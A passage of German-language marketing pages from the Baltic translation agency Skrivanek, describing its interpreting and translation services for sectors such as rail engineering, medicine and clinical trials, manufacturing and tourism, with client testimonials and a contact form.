Gerichtsverfahren reibungslos ablaufen. Mehr erfahren ANDERE ARTEN DES DOLMETSCHENS Wir bieten auch andere Arten von Dolmetscherdiensten an, z. B. Flüsterdolmetschen, Dolmetschen am Telefon oder Dolmetschen von Skype/ Zoom-Konferenzen. Sollten Sie unter den aufgeführten Arten von Dolmetscherdiensten nicht fündig werden, wenden Sie sich bitte an unsere Projektmanager - wir finden bestimmt die richtige Lösung für Sie! Kontaktieren Sie uns ASSISTENZDIENSTE Wenn Sie Hilfe beim Dolmetschen in alltäglichen Situationen benötigen, z. B. bei der Kommunikation mit staatlichen oder kommunalen Einrichtungen, bei der Vorlage von Dokumenten usw. , sind unsere Dolmetscherdienstleistungen die richtige Wahl für Sie. Setzen Sie sich mit uns in Kontakt und wir finden die beste Lösung für Sie! Kontaktieren Sie uns SUCHEN SIE NACH DOLMETSCHERDIENSTEN ODER BERATUNG? Wir erarbeiten eine maßgeschneiderte Lösung für Sie und beraten Sie zu Ihrem Anliegen. Anfrage senden HÄUFIG GESTELLTE FRAGEN Beide sind Sprachexperten, aber der Unterschied liegt darin, dass Übersetzer schriftliche Übersetzungen, während Dolmetscher mündliche Übersetzungen wie konsekutives oder simultanes Dolmetschen anbieten. Das ändert sich von Auftrag zu Auftrag. Es liegt an Ihnen, wie viele Stunden ein Dolmetscher für Sie arbeiten soll. Ja, oft stellen wir sogar Teams von Sprachspezialisten für unsere Kooperationspartner zusammen, was bedeutet, dass die Dienstleistungen von denselben Übersetzern oder Dolmetschern wie bisher erbracht werden. Wir freuen uns über Ihr Feedback und beauftragen gerne den bisherigen Sprachspezialisten für Sie. Unsere Stammkunden haben auch ihre eigenen Projektmanager. WIR BIETEN DOLMETSCHERDIENSTE IN MEHR ALS 40 VERSCHIEDENEN SPRACHEN AN Dänisch Deutsch Englisch Estnisch Finnisch Französisch Griechisch Italienisch Litauisch Norwegisch Polnisch Russisch Schwedisch Spanisch Tschechisch Andere Sprachen SEIT MEHR ALS 25 JAHREN AUF DEM MARKT! Wir verfügen über umfangreiche Erfahrung in der Übersetzung von Texten zu verschiedenen Themen. 0+ verschiedene Sprachkombinationen 0+ Millionen Im Jahr 2023 übersetzte Wörter 0+ Sprachspezialisten 0 ISO-Zertifikate ZUVERLÄSSIGKEIT, GESCHWINDIGKEIT UND QUALITÄT DER DIENSTE KRKA D. D. Die Mitarbeiter von Skrivanek sind hilfsbereit, zuvorkommend und haben Verständnis für die Anforderungen unserer pharmazeutischen Übersetzungsaufträge und Übersetzungen aus verschiedenen Sprachkombinationen. Aufträge werden auf höchstem Niveau und höchster ethischer sowie fachlicher Kompetenz innerhalb der vorgegebenen Frist ausgeführt.  SANDOZ D. D. Wir empfehlen Skrivanek Baltic als zuverlässigen Partner für alle Großprojekte, die professionelle Sprachdienstleistungen erfordern.  ADIDAS BALTICS Die Mitarbeiter von Skrivanek sind hilfsbereit und gehen verständnisvoll auf die Anforderungen unserer Übersetzungsaufträge aus den baltischen Sprachen ein. Adidas Baltic empfiehlt anderen Unternehmen, die von diesem Unternehmen angebotenen Dienstleistungen in Anspruch zu nehmen.  --- > Qualitative Dienstleistungen für Maschinenbau und Bahnwesen: Übersetzungen, Dolmetschen, notariell beglaubigte Übersetzungen, Lokalisierung und Sprachunterricht. - Published: 2025-01-06 - Modified: 2025-07-17 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-masinbuves-un-dzelzcela-nozarei/ - Translation Priorities: Optional Präzision und Pünktlichkeit gehören zu den wichtigsten Eigenschaften im Maschinenbau und Bahnwesen Sie wissen genau, dass es keine Abweichungen geben darf. Sie brauchen einen Partner, der die ihm anvertrauten Aufgaben mit größter Verantwortung behandelt. Wegen des internationalen Interesses, der Vielfalt und der hohen Wertschöpfung dieser Branchen brauchen selbst Kooperationspartner tiefgreifendes Wissen und Erfahrung. Wir nutzen täglich die neuesten technologischen Entwicklungen zur Sicherung von Qualität und Produktivität und unterstützen Sie auf Ihrem Weg zum Erfolg! Die Sprachspezialisten von Skrivanek haben in den letzten 25 Jahren unzählige Übersetzungs- und Lokalisierungsprojekte für den Maschinenbau und das Bahnwesen ausgeführt. Außerdem beteiligen wir uns aktiv an einem Projekt der Eisenbahninfrastruktur im Baltikum. Wir haben große Erfahrung und das nötige Fachwissen in diesen Branchen und halten uns stets an die vereinbarten Abgabefristen. Ob Sie eine Übersetzung oder Dolmetscherdienstleistung bei verschiedenen Geschäftstreffen benötigen, Skrivanek steht Ihnen zur Seite. Die Sprachspezialisten von Skrivanek fertigen qualitativ hochwertige Übersetzungen aller uns anvertrauten Materialien an, darunter Unternehmenspublikationen, Verträge, Ausschreibungsvorschriften und -spezifikationen, verschiedene Marketingtexte und alle anderen Texte, die Sie übersetzen lassen möchten. Unser Team von Sprachspezialisten besteht nicht nur aus philologisch ausgebildeten Personen, sondern auch aus Personen mit ingenieurwissenschaftlichem Hintergrund, was für die Verwendung der korrekten Terminologie entscheidend ist. Metallherstellung und -verarbeitung, Herstellung von Maschinen und Werkzeugmaschinen, Herstellung von Fahrzeugen, einschließlich Autos und Anhängern, Systemmeldungen, Reparaturen von Ausrüstungen, Herstellung von elektrischen und optischen Ausrüstungen sowie alles, was mit der Eisenbahnindustrie, dem Maschinenbau und der Metallverarbeitung zusammenhängt - unsere Fachleute haben das nötige Wissen, um qualitativ hochwertige Übersetzungen zu liefern. FOLGENDE DIENSTLEISTUNGEN BIETEN WIR FÜR DEN MASCHINENBAU UND DAS BAHNWESEN IN ALLEN GÄNGIGEN EUROPÄISCHEN SPRACHEN AN: Übersetzung und Lokalisierung von Produktbeschreibungen; Übersetzung von Installations- und Betriebshandbüchern sowie von Systembenachrichtigungen; Übersetzung von Geschäftskorrespondenz mit der richtigen Terminologie; Übersetzung von Werbetexten, Marketingmaterialien und Jahresberichten; Simultan- oder Konsekutivdolmetschen bei verschiedenen Veranstaltungen wie Seminaren, Konferenzen und Geschäftstreffen; Sprachkurse auf verschiedenen Sprachniveaus und mit unterschiedlicher Intensität; DTP - Desktop-Publishing-Dienstleistungen für die richtige Formatierung von Materialien; sowie alle anderen Dienstleistungen, die Sie benötigen. WIR KÜMMERN UNS GERNE UM IHR ANLIEGEN UND FINDEN EINE MAßGESCHNEIDERTE LÖSUNG FÜR SIE Anfrage senden Versicherung Bauwesen Personalwesen Finanzen und Bankwesen IT und Gaming Landwirtschaft Recht Forstwirtschaft Maschinenbau und Zugwesen Medizinische und klinische Studien Produktion Werbung und Marketing Handel Tourismus Staatliche und kommunale Einrichtungen ZUVERLÄSSIGKEIT, GESCHWINDIGKEIT UND QUALITÄT DER DIENSTE KRKA D. D. Die Mitarbeiter von Skrivanek sind hilfsbereit, zuvorkommend und haben Verständnis für die Anforderungen unserer pharmazeutischen Übersetzungsaufträge und Übersetzungen aus verschiedenen Sprachkombinationen. Aufträge werden auf höchstem Niveau und höchster ethischer sowie fachlicher Kompetenz innerhalb der vorgegebenen Frist ausgeführt.  SANDOZ D. D. Wir empfehlen Skrivanek Baltic als zuverlässigen Partner für alle Großprojekte, die professionelle Sprachdienstleistungen erfordern.  ADIDAS BALTICS Die Mitarbeiter von Skrivanek sind hilfsbereit und gehen verständnisvoll auf die Anforderungen unserer Übersetzungsaufträge aus den baltischen Sprachen ein. Adidas Baltic empfiehlt anderen Unternehmen, die von diesem Unternehmen angebotenen Dienstleistungen in Anspruch zu nehmen.  --- > Maßgeschneiderte, qualitativ hochwertige Dienstleistungen für Medizinbranche: Übersetzen, Dolmetschen, notariell beglaubigte Übersetzungen, Lokalisierung und Sprachunterricht. - Published: 2025-01-06 - Modified: 2025-07-09 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-medicinas-un-klinisko-petijumu-nozarei/ - Translation Priorities: Optional SIND WIR STOLZ AUF UNSERE ZUSAMMENARBEIT MIT NAMHAFTEN UNTERNEHMEN UND INSTITUTIONEN IM BEREICH DER MEDIZIN UND KLINISCHEN STUDIEN. FOLGENDE DIENSTLEISTUNGEN BIETEN WIR IN ALLEN GÄNGIGEN EUROPÄISCHEN SPRACHEN AN: Übersetzung medizinischer Dokumente (Epikrisen, klinische Zusammenfassungen, Anamnesen, Labortests, ärztliche Gutachten usw. ) und klinischer Studien; Übersetzung von pharmazeutischer Dokumenten (Beipackzettel, verschiedene Formen von Informationen für Ärzte und Patienten, Dokumentation zur Qualitätskontrolle usw. ); Übersetzung für medizinische Geräte (Bedienungsanleitungen, Gerätebeschreibungen usw. ); Übersetzung und Lokalisierung von wissenschaftlichen Artikeln und Websites für die medizinische und pharmazeutische Branche; Formatierung von Zeichnungen und Layouts, einschließlich DTP-Dienstleistungen; Simultan- oder Konsekutivdolmetschen bei Konferenzen und Seminaren oder bei der Patientenkommunikation sowie Simultandolmetschen Gebärdensprachendolmetscher für die Patientenkommunikation; Sprachkurse für verschiedene Sprachniveaus, einschließlich der Ausbildung von medizinischem Personal für den Auslandseinsatz; sowie alle anderen Sprachdienstleistungen, die Sie benötigen. Qualität und Diskretion durch ISO-Zertifikate garantiert Unsere Projektmanager sprechen Lettisch, Russisch, Englisch, Deutsch und Polnisch. 99 % der Kunden erhalten ein Preisangebot in weniger als 15 MinutenMehr als 3000 Sprachexperten und MuttersprachlerMehr als 98 % unserer Kunden würden uns ihren Freunden und Partnern weiterempfehlenIn unserem Büro werden jedes Jahr mehr als 16 Millionen Wörter übersetzt Auf der Suche nach einer Spracheindienstleistung? Wir erarbeiten eine maßgeschneiderte Lösung für Sie und beraten Sie zu Ihrem Anliegen. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Kunde *PrivatpersonUnternehmen Name und Nachname *Telefonnummer Hinzufügen Entfernen Name und Nachname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen Zusätzliche InformationenDokument hochladen, max. 20 MB, wenn das Dokument größer ist, schreiben Sie es in Ihrer Nachricht und wir werden Sie kontaktieren Click or drag files to this area to upload. You can upload up to 10 files. Wie haben Sie von uns erfahren? Wie haben Sie von uns erfahren? Ich bin ein Kunde von SkrivanekGoogle-SuchmaschineVorschlag von einem Freund/ BekanntenFacebookTwitterLinkedInInstagramAußenwerbungMesse / AusstellungGedruckte WerbungAndereMit dem Klicken auf die Schaltfläche „Einreichen“ stimmen Sie der Verarbeitung Ihrer personenbezogenen Daten gemäß der Datenschutzbestimmungen von Skrivanek Baltic zu. Einreichen Oder buchen Sie jetzt eine Online-Beratung! Die Medizinbranche und klinische Studien verlangen viel ab und kennen kein Pardon, wenn es um Abweichungen geht. Alle Informationen, die in die Medizinbranche gelangen, werden mehrfach überprüft, um garantieren zu können, dass sie präzise und eindeutig sind. Medizintexte sind eine der Königsdisziplinen der Übersetzung und werden von zertifizierten Fachübersetzern angefertigt. Deswegen besteht unser Team für die Übersetzung medizinischer Texte aus Ärzten und Personen mit medizinischer Hochschulausbildung, philologischer Erfahrung und ausgezeichneten muttersprachlichen Kenntnissen. Übersetzer und Editoren, die an medizinischen Übersetzungen arbeiten, wissen über die Haftung Bescheid, die ihnen bei einer ungenauen oder nachlässig angefertigten Übersetzung droht. Die Sprachspezialisten von Skrivanek sorgen für Präzision und halten sich streng an die Abgabefristen. Wir sind nach ISO 27001 und ISO 17100 zertifiziert. Außerdem garantieren wir, dass die Informationen, die Sie uns anvertraut haben, nicht an Dritte weitergegeben werden. Skrivanek ist der richtige Ansprechpartner, wenn Sie auf der Suche nach Übersetzungen von verschiedenen Marketingbroschüren, Patientenakten, Unterlagen für klinische Studien und anderen schriftlichen Unterlagen sind oder wenn Sie Dolmetscher für Konferenzen und andere Veranstaltungen benötigen. MEDIZINISCHE TEXTE Präzision, Sorgfalt, neueste wissenschaftliche Errungenschaften, moderne Technologien und Verantwortung - all das und noch viel mehr beschreibt die moderne Medizin sehr genau. Die Medizin (lateinisch: medicina - "Behandlung", "Heilung") ist die Wissenschaft der Erkenntnis und Praktik zum Erhalt der menschlichen Gesundheit. Die Medizin gehört zu den Naturwissenschaften, der sich mit der menschlichen Gesundheit befasst. Sie untersucht den menschlichen Körper, seinen Aufbau, seine Funktionen, vor allem aber Krankheiten und deren Behandlungsmöglichkeiten. Ziel der Medizin ist es, die Entstehung und den Verlauf von Krankheiten sowie deren Diagnose, Behandlung und Prävention zu erforschen. Heute ist die Medizin eng mit den neuesten wissenschaftlichen Errungenschaften in der Gesundheitsversorgung und den Vorteilen der Medizintechnik verbunden. Es war das antike Ägypten, welches als erste Zivilisation sich intensiv mit der Medizin befasste und schriftliche Dokumentationen über ihre Praktiken und Verfahren hinterließ. Die ältesten erhaltenen ägyptischen medizinischen Texte sind sechs Papyri. Zwischen 2000 und 1500 v. Chr. beeinflusste die ägyptische Medizin auch die Medizin der Nachbarländer, darunter auch die Entwicklung der antiken griechischen Medizin. Dieser Einfluss verbreitete sich von Griechenland weiter und beeinflusste somit maßgeblich die Entwicklung der westlichen Zivilisation. Heute finden mit der rasanten Entwicklung der medizinischen Wissenschaft, der Technologie, der Behandlungsmethoden, der Praktiken und der Pharmahersteller weltweit regelmäßig große Konferenzen über Medizin, medizinische Geräte und deren Produktion statt. Junge Ärzte können in verschiedenen Ländern der Welt studieren, lernen und Erfahrungen austauschen. Neue medizinische Lehrbücher werden veröffentlicht, Studien durchgeführt, Publikationen verfasst, um die neuesten medizinischen Erkenntnisse weltweit mit jene zu teilen, die in der Medizinbranche tätig sind. Diese Texte sind in verschiedenen Sprachen verfasst, weswegen die Übersetzung medizinischer Texte sowie Übersetzer und Dolmetscher für medizinische Texte von großer Bedeutung sind. ÜBERSETZUNG VON MEDIZINISCHEN TEXTEN Medizintexte sind eine der Königsdisziplinen der Übersetzung und werden von zertifizierten Fachübersetzern angefertigt. Deswegen besteht unser Team für die Übersetzung medizinischer Texte aus Ärzten und Personen mit medizinischer Hochschulausbildung, philologischer Erfahrung und ausgezeichneten muttersprachlichen Kenntnissen. Übersetzer und Editoren, die an medizinischen Übersetzungen arbeiten, wissen über die Haftung Bescheid, die ihnen bei einer ungenauen oder nachlässig angefertigten Übersetzung droht. Die medizinische Übersetzung verlangt das unverzichtbare Wissen über Fachterminologie und Glossar. Die Genauigkeit des Textes muss beachtet werden. Außerdem müssen die Übersetzer stets auf dem neuesten medizinischen Stand sein und die Übersetzung verständlich anfertigen. Unternehmen, die im Gesundheitswesen tätig sind, wie z. B. Pharmaunternehmen, klinische Forschungseinrichtungen und Hersteller von medizinischen und chirurgischen Geräten, müssen auf die besten medizinischen Übersetzungsdienstleister vertrauen. Nur so können sie konsistente und genaue Inhalte garantieren. Unter medizinischer Übersetzung versteht man auch die Übersetzung verschiedener Dokumente - Lehrmaterial, medizinische Bulletins, Beipackzettel usw. - Übersetzungen für die Bedürfnisse von Angehörigen der Gesundheitsberufe und Patienten. Gebrauchsanweisungen für Medizinprodukte, Marketingmaterial oder klinische, rechtliche und technische Unterlagen müssen ebenfalls übersetzt werden. Derzeit verlangen alle Mitglieder der Europäischen Union von Unternehmen und Organisationen, dass die Beschreibungen der Etiketten von Medizinprodukten oder Arzneimitteln in die Landessprache übersetzt wird. Dokumente zu klinischen Studien müssen oft für lokale Ärzte, Patienten und Behördenvertreter übersetzt werden. In Anbetracht der pharmazeutischen, biotechnologischen, chemischen und medizintechnischen Industrie, in der die Forschungs- und Investitionsmöglichkeiten weltweit rapide zunehmen, insbesondere im Zusammenhang mit der Covid-19-Pandemie, ist die Nachfrage nach der Übersetzung medizinischer Texte enorm gestiegen. Website-Inhalte von Krankenhäusern, Kliniken und Polikliniken, ja sogar von Apotheken, stehen Marketing und anderen Werbeinhalten von Unternehmen in nichts nach. Es besteht ein wachsender Bedarf an der Förderung medizinischer Inhalte in verschiedenen Sprachen um so viele potenzielle Kunden zu erreichen und anzusprechen wie möglich. In großen medizinischen Einrichtungen oder Unternehmen der Medizinbranche sind Übersetzungen der Website-Inhalte in verschiedene Sprachen sehr gefragt, damit Patienten in aller Welt sich leichter zurechtfinden und nicht nur Zugang zu den besten Behandlungsorten haben, sondern auch Zugang zu den modernsten und hochwertigsten Medikamente sowie medizinischen Verfahren und Behandlungen erhalten. Die Übersetzer von Skrivanek sind auf die Übersetzung von Dokumenten zu klinischen Studien und medizinischer Forschung, Arzneimittelverschreibungen, Beschreibungen, Etiketten und anderen Dokumenten in und aus allen Sprachen des Baltikums spezialisiert. DIE GENAUIGKEIT MEDIZINISCHER ÜBERSETZUNGEN Das Übersetzen medizinischer Texte ist nicht umsonst eine Königsdisziplin. Der in Österreich geborene amerikanische Medizinübersetzer Henry Fischbach (1921-2008) sagte mal, dass "die Übersetzung medizinischer Texte vielleicht die universellste und älteste Form der wissenschaftlichen Übersetzung ist, weil die menschliche Anatomie und Physiologie allgegenwärtig und einheitlich sind". Laut Fischbach wird die Nachfrage nach medizinischen Übersetzungen und Dolmetschern im Gesundheitswesen stets bestehen, da sich die Erforschung des menschlichen Körpers im Laufe der Geschichte auf die Erforschung von Gemeinsamkeiten und die Suche nach universellen Lösungen für gemeinsame Probleme aller Menschen auf der Welt konzentriert hat. Die Folgen einer ungenauen Übersetzung von medizinischen, gesundheitsbezogenen und pharmazeutischen Dokumenten sind unvorhersehbar. Bei der Übersetzung medizinischer und gesundheitsbezogener Informationen können maschinelle Übersetzungen oder menschliche Fehler einfach nicht toleriert werden. Die Sprache der Übersetzung medizinischer Texte ist nämlich eine wissenschaftliche Sprache, in der selbst die kleinste Emotionalität und voreingenommene Interpretation des Inhalts ausgeschlossen werden muss. Vermutungen oder Annäherungen sind hier unbrauchbar. Daher können medizinische Übersetzungen auch nur vom richtigen Fachpersonal übernommen werden Um stets Qualität zu garantieren, arbeiten bei Skrivanek Baltic zwei erfahrene Übersetzer mit medizinischen Textübersetzungsprojekten - der eine übernimmt die Rolle des Terminologen und führt Terminologierecherchen und -prüfungen durch, der andere arbeitet mit der Textübersetzung, wobei der Terminologe für die terminologische Korrektheit des gesamten Übersetzungsprojekts und die Übergabe einer korrekten Terminologieliste an den Korrekturleser verantwortlich ist, der lediglich eine Grammatikprüfung durchführt. Wenn die medizinische Kommunikation zwischen einem Fachmann und einem Laien stattfindet, beispielsweise zwischen einem Arzt und einem Patienten oder einem Hersteller von medizinischen Geräten/Arzneimitteln und einem Endverbraucher, sollte die Übersetzung verständlicher gestaltet werden und eine weniger komplexe Sprache und Terminologie enthalten, gleichzeitig aber auch dem Endverbraucher/Leser, der kein Fachmann ist, einen zusätzlichen Einblick in die Fachterminologie geben. DIE HÄUFIGSTEN PROBLEME BEIM ÜBERSETZEN MEDIZINISCHER TEXTE Der Erfolg oder Misserfolg einer medizinischen Übersetzung hängt immer davon ab, wie genau die Terminologie verwendet wird und wie gut die Kenntnisse und das Verständnis des Übersetzers sind, der den Auftrag annimmt Fehler und Herausforderungen in der medizinischen Übersetzung können anhand der Kriterien Äquivalenz, Lesbarkeit, Eponyme, Akronyme, Affix und Polysemie klassifiziert werden, welche die wichtigsten stilistischen und lexikalischen Probleme darstellen, die eine medizinische Übersetzung ausmachen oder "zerstören" können. Medizinische Eponyme sind spezifische Begriffe aus dem Bereich der Medizin. Dies sind Zeichen und Symptome, die in der Regel nach Entdeckern oder Patienten benannt sind. Weil die Terminologie der Medizinwissenschaft breit gefächert ist, stellt sich häufig die Frage der Wahl zwischen einem Eponym und einem anderen gleichwertigen Begriff. Man sollte besonders bei der Verwendung der Terminologie aufpassen und darauf achten, welche Begriffe häufiger vorkommen und weiter verbreitet sind. Neben dem komplexen Vokabular und den technischen Aspekten liegen die Herausforderungen der medizinischen Übersetzung auf globaler Ebene auch in der Genauigkeit und der Marktspezifität. Dies lässt dem Übersetzer keinen kreativen Spielraum, denn die Botschaft des Ausgangstextes wird strikt befolgt und es findet keine freie Interpretation des Textes statt. Darüber hinaus ist es wichtig, auf die Gleichwertigkeit der Terminologie zu achten, um Fehlübersetzungen zu vermeiden. Der größte Unterschied zwischen medizinischen Übersetzungen und anderen Übersetzungen sind wahrscheinlich die Stichworte "Standard" und "Qualität". Grundvoraussetzung für Übersetzer medizinischer Texte und Sprachspezialisten sind praktische Erfahrung, perfekte theoretische Kenntnisse in Biologie und Chemie und natürlich die Kenntnis der Fachterminologie. Darüber hinaus legt jeder potenzielle Kunde medizinischer Übersetzungen großen Wert darauf, dass die Übersetzung den gesetzlichen Bestimmungen und Vorschriften entspricht, wodurch das Risiko schlechter Bewertungen und negativer Reaktionen ausgeschlossen wird. Standardisierte medizinische Übersetzungsprozesse, die durch internationale Qualitätsstandards (ISO) geregelt sind, sind ebenfalls sehr wichtig, um die Qualitätsanforderungen für medizinische Übersetzungen gewährleisten zu können. Daher ist die Übersetzung medizinischer Texte doppelschichtig: Die Übersetzungen müssen sowohl terminologisch und stilistisch korrekt sein als auch den Anforderungen der Zielmärkte entsprechen. Die Hauptvorteile, die medizinische Übersetzungen von Übersetzungen in anderen Feldern unterscheiden und heute von allen Beteiligten weltweit gewünscht werden: Der Bedarf an professioneller, von Menschenhand verfasster medizinischer Übersetzung ist ein fester Bestandteil eines jeden effektiven Geschäfts in der Gesundheits- und Medizinbranche, da der „Medizintourismus“ heute eine größere Bedeutung hat als je zuvor. Qualitativ hochwertige medizinische Übersetzungen, die auf eine beidseitig vorteilhaften Beziehung zwischen medizinischer Einrichtung und Kunde aufbauen, führen zu einem positiven Ergebnis für die medizinische Industrie und gewährleisten die Zufriedenheit der Patienten und Verbraucher. Die Übersetzung medizinischer Inhalte, wie z. B. ausführliche Beschreibungen spezialisierter Studien oder Forschungsarbeiten zu Arzneimitteln und/oder Medizinprodukten, kommt dem Personal im Gesundheitswesen und ihren Patienten gleichermaßen zugute, da sie sicherstellt, dass beide Seiten informiert sind, und eröffnet außerdem neue Zugangsmöglichkeiten für ausländische Patienten und Investoren, die auf der Suche nach modernen Gesundheitsdiensten und medizinischen Verfahren sind. Insbesondere in der pharmazeutischen Industrie waren hochwertige medizinische Fachübersetzungen noch nie so wertvoll wie heute, da die Verfügbarkeit von pharmazeutischen Produkten aus den Industrieländern auf den internationalen Märkten rapide zunimmt. Versicherung Bauwesen Personalwesen Finanzen und Bankwesen IT und Gaming Landwirtschaft Recht Forstwirtschaft Maschinenbau und Zugwesen Medizinische und klinische Studien Produktion Werbung und Marketing Handel Tourismus Staatliche und kommunale Einrichtungen ZUVERLÄSSIGKEIT, GESCHWINDIGKEIT UND QUALITÄT DER DIENSTE KRKA D. D. Die Mitarbeiter von Skrivanek sind hilfsbereit, zuvorkommend und haben Verständnis für die Anforderungen unserer pharmazeutischen Übersetzungsaufträge und Übersetzungen aus verschiedenen Sprachkombinationen. Aufträge werden auf höchstem Niveau und höchster ethischer sowie fachlicher Kompetenz innerhalb der vorgegebenen Frist ausgeführt.  SANDOZ D. D. Wir empfehlen Skrivanek Baltic als zuverlässigen Partner für alle Großprojekte, die professionelle Sprachdienstleistungen erfordern.  ADIDAS BALTICS Die Mitarbeiter von Skrivanek sind hilfsbereit und gehen verständnisvoll auf die Anforderungen unserer Übersetzungsaufträge aus den baltischen Sprachen ein. Adidas Baltic empfiehlt anderen Unternehmen, die von diesem Unternehmen angebotenen Dienstleistungen in Anspruch zu nehmen.  --- > Qualitative Dienstleistungen für das verarbeitende Gewerbe: Übersetzung, Dolmetschen, Lokalisierung und Sprachunterricht. Erfahren Sie mehr! - Published: 2025-01-06 - Modified: 2025-07-17 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-razosanas-nozarei/ - Translation Priorities: Optional Nur starke Unternehmen, die ihre Partner sorgfältig auswählen, können das höchste Leistungsniveau im verarbeitenden Gewerbe gewährleisten. Egal, ob Sie Lebensmittel, Textilien oder andere Nichtverbrauchsgüter herstellen, eine beständige und effektive Kommunikation mit Lieferanten, Kunden und Partnern ist unerlässlich. Skrivanek unterstützt Ihr Unternehmen bei der fremdsprachlichen Kommunikation und fördert so Ihr Wachstum sowohl auf dem Inlands- als auch auf dem Exportmarkt. Wir wissen, dass Sie große Ziele haben und sehr viel Können besitzen. Die richtigen Worte werden Ihnen helfen, all das auszuschöpfen! Ganz gleich, ob Sie Texte übersetzen, eine Website lokalisieren, Hilfe von unserem DTP-Team erhalten oder Dolmetscherdienste bei verschiedenen Treffen oder Konferenzen in Anspruch nehmen wollen, Skrivanek wird Sie nicht im Stich lassen. Wir sind stolz, dass unsere Dienstleistungen sowohl von Herstellern kleiner Firmen sowie von strategisch bedeutenden Fabriken in Anspruch genommen werden. Nutzen Sie unsere Sprachdienstleistungen! Unsere Sprachspezialisten haben Erfahrung mit Übersetzungen für das verarbeitende Gewerbe. Wir verwenden modernste Übersetzungstechnologien. Somit können Sie sich darauf verlassen, dass selbst große Aufträge innerhalb kürzester Zeit fertiggestellt werden. Alle Aufträge werden von erfahrenen Projektmanagern koordiniert, welche die Durchführung der Projekte von Anfang bis Ende überwachen. Ganz gleich, ob Sie Geschäftsvereinbarungen, die Website Ihres Unternehmens, Marketingunterlagen oder technische Dokumentationen übersetzen lassen wollen oder sich auf den Weg zu einer fremdsprachigen Konferenz machen, unser internationales Team von Übersetzern und Dolmetschern steht Ihnen zur Seite. FOLGENDE DIENSTLEISTUNGEN BIETEN WIR FÜR DAS VERARBEITENDE GEWERBE IN ALLEN GÄNGIGEN EUROPÄISCHEN SPRACHEN AN: Übersetzung und DTP von verschiedenen Marketingmaterialien in digitaler und gedruckter Form, wie z. B. Verkaufsmaterial, Broschüren, Produktdatenblätter usw. ; Lokalisierung von Anleitungen und Gerätebeschreibungen; Übersetzung von Produktbeschreibungen und Etiketten; Übersetzung von technischen Beschreibungen und Spezifikationen; Übersetzung von Bedienungsanleitungen und technischen Zertifikaten; Simultan- oder Konsekutivdolmetschen bei verschiedenen Veranstaltungen, wie Konferenzen, Seminaren und Geschäftstreffen; Sprachunterricht und Fachseminare zur Verbesserung der Fremdsprachen- und Präsentationskenntnisse Ihrer Mitarbeiter; Assistenzdienste für ausländische Vertreter; sowie alle anderen Dienstleistungen, die Sie benötigen. WIR KÜMMERN UNS GERNE UM IHR ANLIEGEN UND FINDEN EINE MAßGESCHNEIDERTE LÖSUNG FÜR SIE Anfrage senden Versicherung Bauwesen Personalwesen Finanzen und Bankwesen IT und Gaming Landwirtschaft Recht Forstwirtschaft Maschinenbau und Zugwesen Medizinische und klinische Studien Produktion Werbung und Marketing Handel Tourismus Staatliche und kommunale Einrichtungen ZUVERLÄSSIGKEIT, GESCHWINDIGKEIT UND QUALITÄT DER DIENSTE KRKA D. D. Die Mitarbeiter von Skrivanek sind hilfsbereit, zuvorkommend und haben Verständnis für die Anforderungen unserer pharmazeutischen Übersetzungsaufträge und Übersetzungen aus verschiedenen Sprachkombinationen. Aufträge werden auf höchstem Niveau und höchster ethischer sowie fachlicher Kompetenz innerhalb der vorgegebenen Frist ausgeführt.  SANDOZ D. D. Wir empfehlen Skrivanek Baltic als zuverlässigen Partner für alle Großprojekte, die professionelle Sprachdienstleistungen erfordern.  ADIDAS BALTICS Die Mitarbeiter von Skrivanek sind hilfsbereit und gehen verständnisvoll auf die Anforderungen unserer Übersetzungsaufträge aus den baltischen Sprachen ein. Adidas Baltic empfiehlt anderen Unternehmen, die von diesem Unternehmen angebotenen Dienstleistungen in Anspruch zu nehmen.  --- > Hochwertige Sprachdienstleistungen für die Tourismusbranche: Übersetzung, Dolmetschen, Lokalisierung und Sprachunterricht. Erfahren Sie mehr! - Published: 2025-01-06 - Modified: 2025-07-17 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-turisma-nozarei/ - Translation Priorities: Optional Die Tourismusbranche wächst rasant und entwickelt sich genauso schnell. Jeder Vertreter dieser Branche möchte seine Botschaft in so vielen Sprachen wie möglich zugänglich machen. Sie sind Profis in Sachen Tourismus und wissen genau, wie man Reisende locken kann, und wir sind Sprachspezialisten, die Ihre Worte in mehr als 110 Sprachen übersetzen können. Verschiedene Marketing- und Werbematerialien für den Tourismus gehören zu den am häufigsten übersetzten Textarten der Welt. Hier ist Qualität das A und O. Müssen Sie die Website Ihres Hotels lokalisieren? Möchten Sie Ihre Tourismusbroschüre übersetzen? Oder möchten Sie die Speisekarte Ihres Restaurants ausländischen Gästen zugänglich machen? Wir bieten mehr als nur Übersetzungen. Die Sprachspezialisten von Skrivanek bieten seit 25 Jahren hochwertige Sprachdienstleistungen für die Tourismusbranche an - wir übersetzen nicht einfach nur Texte, sondern passen sie an die kulturspezifischen Gegebenheiten des Ziellandes an. Wir garantieren Ihnen, dass Sie und Ihre Kunden sich verstehen werden. Ob Sie eine schriftliche Übersetzung oder Dolmetscher bei verschiedenen Konferenzen oder internationalen Messen benötigen, unser Team wird die passende Dienstleistung für Sie finden. Wenn Ihre Mitarbeiter hingegen ihre Fremdsprachenkenntnisse auffrischen müssen, sind sie in der Skrivanek Baltic Language School herzlich willkommen. Das Team von Skrivanek besteht aus Übersetzern und Dolmetschern, die nicht nur über eine philologische Ausbildung verfügen, sondern auch über ein umfangreiches Wissen in den Bereichen Geschichte, Architektur, Kunst, Mode, Musik und Gastronomie besitzen. Dies macht uns zur besten Wahl. Hotel- und Gaststättengewerbe, Beherbergungsbetriebe, Reiseveranstalter, Vertretungen von Städten und Gemeinden im Ausland - wir finden für Sie Spezialisten, die sich in den jeweiligen Bereichen auskennen und dafür sorgen, dass Ihre Übersetzungen stets aktuell sind. WIR BIETEN DER TOURISMUSBRANCHE DIE FOLGENDEN DIENSTLEISTUNGEN IN ALLEN GÄNGIGEN EUROPÄISCHEN SPRACHEN AN: Übersetzung von Werbe- und Marketingmaterial (Prospekte, Broschüren und Kataloge) sowie Desktop-Publishing-Dienste; Übersetzung und 